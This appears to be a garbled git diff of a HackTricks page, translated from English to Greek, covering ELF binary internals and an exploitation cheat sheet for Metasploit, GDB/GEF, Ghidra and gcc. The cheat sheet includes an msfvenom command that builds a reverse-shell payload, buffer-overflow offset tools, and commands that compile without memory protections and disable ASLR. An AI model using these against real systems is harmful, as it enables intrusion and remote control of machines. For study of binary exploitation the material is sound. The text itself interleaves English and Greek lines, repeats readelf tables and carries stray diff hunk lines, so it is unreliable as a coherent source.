- **`.bss`**: Παγκόσμιες μεταβλητές που έχουν μείνει μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας έτσι την προσθήκη άχρηστων μηδενικών στο δυαδικό.
|
||||
- **`.rodata`**: Σταθερές παγκόσμιες μεταβλητές (τμήμα μόνο για ανάγνωση).
|
||||
- **`.tdata`** και **`.tbss`**: Όπως οι .data και .bss όταν χρησιμοποιούνται μεταβλητές τοπικές σε νήματα (`__thread_local` σε C++ ή `__thread` σε C).
|
||||
- **`.dynamic`**: Δείτε παρακάτω.
|
||||
|
||||
- **`.text`**: The instruction of the program to run.
|
||||
- **`.data`**: Global variables with a defined value in the program.
|
||||
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
|
||||
- **`.rodata`**: Constant global variables (read-only section).
|
||||
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
|
||||
- **`.dynamic`**: See below.
|
||||
|
||||
## Symbols
|
||||
|
||||
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
|
||||
## Σύμβολα
|
||||
|
||||
Τα σύμβολα είναι μια ονομαστική τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικές σε νήματα...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
Symbol table '.dynsym' contains 49 entries:
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
|
||||
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
|
||||
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
|
||||
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
|
||||
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
|
||||
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
|
||||
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
|
||||
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
|
||||
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
|
||||
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
|
||||
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
|
||||
[...]
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
|
||||
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
|
||||
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
|
||||
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
|
||||
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
|
||||
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
|
||||
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
|
||||
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
|
||||
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
|
||||
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
|
||||
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
|
||||
[...]
|
||||
```
|
||||
Κάθε είσοδος συμβόλου περιέχει:
|
||||
|
||||
Each symbol entry contains:
|
||||
|
||||
- **Name**
|
||||
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
|
||||
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
|
||||
- **Section** index where it's located
|
||||
- **Value** (address sin memory)
|
||||
- **Size**
|
||||
|
||||
## Dynamic Section
|
||||
- **Όνομα**
|
||||
- **Δεσμευτικά χαρακτηριστικά** (ασθενές, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το ίδιο το πρόγραμμα, ενώ τα παγκόσμια σύμβολα μοιράζονται εκτός του προγράμματος. Ένα ασθενές αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική.
|
||||
- **Τύπος**: NOTYPE (κανένας τύπος καθορισμένος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (ενότητα), FILE (αρχείο πηγαίου κώδικα για αποσφαλμάτωση), TLS (μεταβλητή τοπικού νήματος), GNU_IFUNC (έμμεση συνάρτηση για ανακατανομή)
|
||||
- **Δείκτης ενότητας** όπου βρίσκεται
|
||||
- **Τιμή** (διεύθυνση στη μνήμη)
|
||||
- **Μέγεθος**
|
||||
|
||||
## Δυναμική Ενότητα
|
||||
```
|
||||
readelf -d lnstat
|
||||
|
||||
Dynamic section at offset 0xfc58 contains 28 entries:
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
|
||||
0x000000000000000c (INIT) 0x1088
|
||||
0x000000000000000d (FINI) 0x2f74
|
||||
0x0000000000000019 (INIT_ARRAY) 0x1fc48
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000000000001a (FINI_ARRAY) 0x1fc50
|
||||
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x338
|
||||
0x0000000000000005 (STRTAB) 0x7f0
|
||||
0x0000000000000006 (SYMTAB) 0x358
|
||||
0x000000000000000a (STRSZ) 510 (bytes)
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000015 (DEBUG) 0x0
|
||||
0x0000000000000003 (PLTGOT) 0x1fe58
|
||||
0x0000000000000002 (PLTRELSZ) 960 (bytes)
|
||||
0x0000000000000014 (PLTREL) RELA
|
||||
0x0000000000000017 (JMPREL) 0xcc8
|
||||
0x0000000000000007 (RELA) 0xaa0
|
||||
0x0000000000000008 (RELASZ) 552 (bytes)
|
||||
0x0000000000000009 (RELAENT) 24 (bytes)
|
||||
0x000000000000001e (FLAGS) BIND_NOW
|
||||
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
|
||||
0x000000006ffffffe (VERNEED) 0xa50
|
||||
0x000000006fffffff (VERNEEDNUM) 2
|
||||
0x000000006ffffff0 (VERSYM) 0x9ee
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
|
||||
0x000000000000000c (INIT) 0x1088
|
||||
0x000000000000000d (FINI) 0x2f74
|
||||
0x0000000000000019 (INIT_ARRAY) 0x1fc48
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000000000001a (FINI_ARRAY) 0x1fc50
|
||||
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x338
|
||||
0x0000000000000005 (STRTAB) 0x7f0
|
||||
0x0000000000000006 (SYMTAB) 0x358
|
||||
0x000000000000000a (STRSZ) 510 (bytes)
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000015 (DEBUG) 0x0
|
||||
0x0000000000000003 (PLTGOT) 0x1fe58
|
||||
0x0000000000000002 (PLTRELSZ) 960 (bytes)
|
||||
0x0000000000000014 (PLTREL) RELA
|
||||
0x0000000000000017 (JMPREL) 0xcc8
|
||||
0x0000000000000007 (RELA) 0xaa0
|
||||
0x0000000000000008 (RELASZ) 552 (bytes)
|
||||
0x0000000000000009 (RELAENT) 24 (bytes)
|
||||
0x000000000000001e (FLAGS) BIND_NOW
|
||||
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
|
||||
0x000000006ffffffe (VERNEED) 0xa50
|
||||
0x000000006fffffff (VERNEEDNUM) 2
|
||||
0x000000006ffffff0 (VERSYM) 0x9ee
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
|
||||
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
|
||||
Ο φάκελος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** προκειμένου να συνεχίσει. Ο φάκελος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση.
|
||||
|
||||
## Relocations
|
||||
|
||||
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
|
||||
|
||||
Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ.
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
|
||||
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
|
||||
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
|
||||
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
|
||||
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
|
||||
|
||||
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
|
||||
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
|
||||
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
|
||||
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
|
||||
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
|
||||
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
|
||||
```
|
||||
### Στατικές Μεταθέσεις
|
||||
|
||||
### Static Relocations
|
||||
Αν το **πρόγραμμα φορτωθεί σε διαφορετική θέση** από τη προτιμώμενη διεύθυνση (συνήθως 0x400000) επειδή η διεύθυνση είναι ήδη χρησιμοποιούμενη ή λόγω **ASLR** ή οποιουδήποτε άλλου λόγου, μια στατική μετάθεση **διορθώνει τους δείκτες** που είχαν τιμές περιμένοντας το δυαδικό να φορτωθεί στη προτιμώμενη διεύθυνση.
|
||||
|
||||
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
|
||||
Για παράδειγμα, οποιαδήποτε ενότητα τύπου `R_AARCH64_RELATIV` θα πρέπει να έχει τροποποιήσει τη διεύθυνση με το μεταθετικό σφάλμα συν την τιμή προσθέτου.
|
||||
|
||||
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
|
||||
### Δυναμικές Μεταθέσεις και GOT
|
||||
|
||||
### Dynamic Relocations and GOT
|
||||
Η μετάθεση μπορεί επίσης να αναφέρεται σε ένα εξωτερικό σύμβολο (όπως μια συνάρτηση από μια εξάρτηση). Όπως η συνάρτηση malloc από τη libC. Έτσι, ο φορτωτής όταν φορτώνει τη libC σε μια διεύθυνση ελέγχει πού είναι φορτωμένη η συνάρτηση malloc, θα γράψει αυτή τη διεύθυνση στον πίνακα GOT (Global Offset Table) (που υποδεικνύεται στον πίνακα μεταθέσεων) όπου θα πρέπει να καθοριστεί η διεύθυνση του malloc.
|
||||
|
||||
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
|
||||
### Πίνακας Σύνδεσης Διαδικασιών
|
||||
|
||||
### Procedure Linkage Table
|
||||
Η ενότητα PLT επιτρέπει την εκτέλεση καθυστερημένης σύνδεσης, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα εκτελείται την πρώτη φορά που θα προσπελαστεί.
|
||||
|
||||
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
|
||||
Έτσι, όταν ένα πρόγραμμα καλεί τη malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, έτσι ώστε την επόμενη φορά που θα κληθεί η `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί του κώδικα PLT.
|
||||
|
||||
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
|
||||
|
||||
## Program Initialization
|
||||
|
||||
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
|
||||
## Αρχικοποίηση Προγράμματος
|
||||
|
||||
Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
class AutoInit {
|
||||
public:
|
||||
AutoInit() {
|
||||
printf("Hello AutoInit!\n");
|
||||
}
|
||||
~AutoInit() {
|
||||
printf("Goodbye AutoInit!\n");
|
||||
}
|
||||
public:
|
||||
AutoInit() {
|
||||
printf("Hello AutoInit!\n");
|
||||
}
|
||||
~AutoInit() {
|
||||
printf("Goodbye AutoInit!\n");
|
||||
}
|
||||
};
|
||||
|
||||
AutoInit autoInit;
|
||||
|
||||
int main() {
|
||||
printf("Main\n");
|
||||
return 0;
|
||||
printf("Main\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώστε ότι αυτές οι παγκόσμιες μεταβλητές βρίσκονται στο `.data` ή `.bss`, αλλά στις λίστες `__CTOR_LIST__` και `__DTOR_LIST__` τα αντικείμενα που πρέπει να αρχικοποιηθούν και να καταστραφούν αποθηκεύονται για να παρακολουθούνται.
|
||||
|
||||
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
|
||||
|
||||
From C code it's possible to obtain the same result using the GNU extensions :
|
||||
|
||||
Από τον κώδικα C είναι δυνατόν να αποκτηθεί το ίδιο αποτέλεσμα χρησιμοποιώντας τις επεκτάσεις GNU:
|
||||
```c
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της συνάρτησης `main`, είναι δυνατόν να δημιουργηθεί μια συνάρτηση `init` και μια συνάρτηση `fini` που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
|
||||
|
||||
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
|
||||
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στη δυναμική ενότητα και το μήκος τους υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους.
|
||||
|
||||
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
|
||||
Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**.
|
||||
|
||||
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
|
||||
### Σειρά Αρχικοποίησης
|
||||
|
||||
### Initialization Order
|
||||
1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**.
|
||||
2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται.
|
||||
3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται.
|
||||
4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται.
|
||||
5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται.
|
||||
6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσουμε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
|
||||
|
||||
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
|
||||
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
|
||||
3. **`PREINIT_ARRAY`** functions are executed.
|
||||
4. **`INIT_ARRAY`** functions are executed.
|
||||
5. If there is a **`INIT`** entry it's called.
|
||||
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
|
||||
## Αποθήκευση Τοπικών Νημάτων (TLS)
|
||||
|
||||
## Thread-Local Storage (TLS)
|
||||
Ορίζονται χρησιμοποιώντας τη λέξη-κλειδί **`__thread_local`** στην C++ ή την επέκταση GNU **`__thread`**.
|
||||
|
||||
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
|
||||
Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του.
|
||||
|
||||
Each thread will maintain a unique location for this variable so only the thread can access its variable.
|
||||
Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS.
|
||||
|
||||
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
|
||||
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
|
||||
|
||||
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
|
||||
|
||||
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
|
||||
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,8 @@
|
||||
# Exploiting Tools
|
||||
# Εργαλεία Εκμετάλλευσης
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metasploit
|
||||
|
||||
```bash
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
@ -11,31 +10,23 @@ nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
|
||||
### Shellcodes
|
||||
|
||||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
|
||||
## GDB
|
||||
|
||||
### Install
|
||||
|
||||
### Εγκατάσταση
|
||||
```bash
|
||||
apt-get install gdb
|
||||
```
|
||||
|
||||
### Parameters
|
||||
|
||||
### Παράμετροι
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
|
||||
### Instructions
|
||||
|
||||
### Οδηγίες
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
|
||||
|
||||
Μπορείτε προαιρετικά να χρησιμοποιήσετε [**αυτό το fork του GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) που περιέχει πιο ενδιαφέρουσες οδηγίες.
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
|
||||
### Tricks
|
||||
|
||||
#### GDB same addresses
|
||||
#### GDB ίδιες διευθύνσεις
|
||||
|
||||
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
|
||||
Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Put the absolute path to the binary_
|
||||
- Exploit the binary using the same absolute route
|
||||
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
|
||||
- `set env _=<path>` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_
|
||||
- Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή
|
||||
- `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού αρχείου
|
||||
|
||||
#### Backtrace to find functions called
|
||||
|
||||
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
|
||||
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
|
||||
#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων
|
||||
|
||||
Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη**.\
|
||||
Μπορείτε να εντοπίσετε εύκολα αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
@ -154,87 +141,80 @@ gef➤ bt
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
|
||||
### GDB server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
|
||||
`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Find stack offset
|
||||
### Βρείτε την απόσταση στο stack
|
||||
|
||||
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
|
||||
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
|
||||
&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
|
||||
**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
|
||||
Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\
|
||||
&#xNAN;_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
## qtool
|
||||
|
||||
```bash
|
||||
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
```
|
||||
|
||||
Get every opcode executed in the program.
|
||||
Πάρτε κάθε opcode που εκτελείται στο πρόγραμμα.
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
|
||||
&#xNAN;**-o** --> Output\
|
||||
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
|
||||
